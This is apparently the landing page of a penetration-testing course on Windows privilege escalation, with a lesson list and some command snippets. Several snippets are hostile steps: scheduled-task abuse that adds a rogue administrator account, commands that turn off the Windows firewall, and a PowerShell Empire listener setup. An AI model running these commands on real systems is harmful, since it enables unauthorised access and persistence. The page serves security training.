- Description
- Curriculum
- FAQ
- Reviews
The Windows Privilege Escalation Mastery course is a comprehensive and hands-on training program designed for cybersecurity professionals, system administrators, penetration testers, and anyone seeking to enhance their skills in identifying and exploiting privilege escalation vulnerabilities within Windows environments. This immersive course will equip participants with in-depth knowledge and practical techniques to escalate privileges on Windows systems securely and efficiently.
Key Learning Objectives:
-
Understanding Windows Privilege Models: Gain insights into Windows privilege models, user permissions, and the underlying mechanisms that govern user access rights.
-
Exploiting Vulnerabilities: Learn how to identify and exploit common privilege escalation vulnerabilities in Windows, including misconfigurations, weak file permissions, insecure services, and more.
-
Enumeration Techniques: Master the art of enumerating users, groups, services, and system information to identify potential privilege escalation opportunities.
-
Kernel Exploits: Explore advanced techniques to escalate privileges through kernel-level exploits, understanding Windows kernel architecture, and bypassing security mechanisms.
-
Post-Exploitation Strategies: Learn post-exploitation methodologies to maintain persistent access and cover tracks after privilege escalation.
Course Features:
-
Expert Instructors: Learn from seasoned cybersecurity professionals with extensive experience in penetration testing and Windows security.
-
Cutting-Edge Tools: Familiarize yourself with the latest tools and utilities used for Windows privilege escalation.
-
Practical Tips and Best Practices: Get insider tips, tricks, and best practices to conduct privilege escalation assessments effectively and efficiently.
-
1
Local User & Group Enumeration -
2
Network Enumeration
The commands executed can be found here:
-
3
Antivirus & Detections
-
4
Hunting Passwords
-
5
Tools
The commands executed can be found here:
-
6
Windows Version and Configuration
-
7
Sherlock & Watson
-
8
CVE-2019-1388
-
9
Schedule Task Privilege Escalation
#change directory to where Jaws is located
cd c:ad
#Run from CMD:
powershell.exe -ExecutionPolicy Bypass -File .jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
#Manually Search
schtasks /query /fo LIST 2>nul | findstr TaskName
Get-ScheduledTask | where {$_.TaskPath -notlike "Microsoft*"} | ft TaskName,TaskPath,State
schtasks /query /fo LIST /v > C:Usersstudent1Desktoptask.txt
#Edit the file executed by Administrator
net user /add rabakuku Password123
net localgroup administrators rabakuku /add
#reboot
#open cmd
shutdown /r /f
-
10
Unquoted Service Path
-
11
SEImpersonate
-
12
ZeroLogon CVE-2020-1472
Zerologon, tracked as CVE-2020-1472, is an authentication bypass vulnerability in the Netlogon Remote Protocol (MS-NRPC), a remote procedure call (RPC) interface that Windows uses to authenticate users and computers on domain-based networks. It was designed for specific tasks such as maintaining relationships between members of domains and the domain controller (DC), or between multiple domain controllers across one or multiple domains and replicating the domain controller database.
-
13
Windows - Privilege Escalation and Local Enumeartion Cheat Sheet -
14
Recommended Windows Hack The Box machines
-
15
Basic commands
AMSI
AntiMalware Scan Interface
Windows AMSI is integrated into the following components:
PowerShell (scripts, interactive use, and dynamic code evaluation)
PowerShell ISE (Windows PowerShell-IDE)
Windows Script Host (Wscript.exe and Cscript.exe) (scripts and dynamic code evaluation)
User Account Control (UAC) (using a different type of AMSI-provider)
Office365 (JavaScript/VBA)
Office365 (Documents)
.Net Framework 4.8 (Scanning for all assemblies)
Windows Management Instrumentation (WMI)
-
16
Upload and Download
upload: local files can be auto-completed using tab key. It is not needed to put a remote_path if the local file is in the same directory as evil-winrm.rb file.
usage: upload local_path remote_path
download: it is not needed to set local_path if the remote file is in the current directory.
usage: download remote_path local_path
services: list all services. No administrator permissions needed.
-
17
PowerView
-
18
Build SharpSploit - Enumeration
-
19
User, Group, and Network
User Enumeration
Get current username
echo %USERNAME% || whoami
$env:username
List user privilege
whoami /priv
whoami /groups
List all users
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:Users -Force | select Name
List logon requirements; useable for bruteforcing
net accounts
Get details about a user (i.e. administrator, admin, current user)
net user administrator
net user admin
net user %USERNAME%
List all local groups
net localgroup
Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
netstat -ano
List firewall state and current configuration
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config
List firewall's blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
Disable firewall
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
List all network shares
net share
SNMP Configuration
reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s
Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse
-
20
Tools - Local Priv Esc
-
21
Basics and Installing
sudo apt install powershell-empire
sudo powershell-empire
-
22
Getting a Shell + CME + Powershell
-
23
Getting a shell + Evil-WinRM + Bat File
Listeners
help
uselistener http
info <- it will display all the options that you can tweak
BindIP to Kali’s IP address
Port to any port number other than 80
execute
-
24
Privilege Escalation 1 - ReverShell With Unquoted Path
-
25
Privilege Escalation 2 - Stager with NT/SYSTEM
-
26
Privilege Escalation 3
net user raba Password123 /add
net localgroup administrators raba /add
net localgroup "Remote Management Users" raba /add
remove old
-
27
Elevated with Empire - Mimikatz and pth
-
28
Pth + dcsync + dcshadow -1
admin
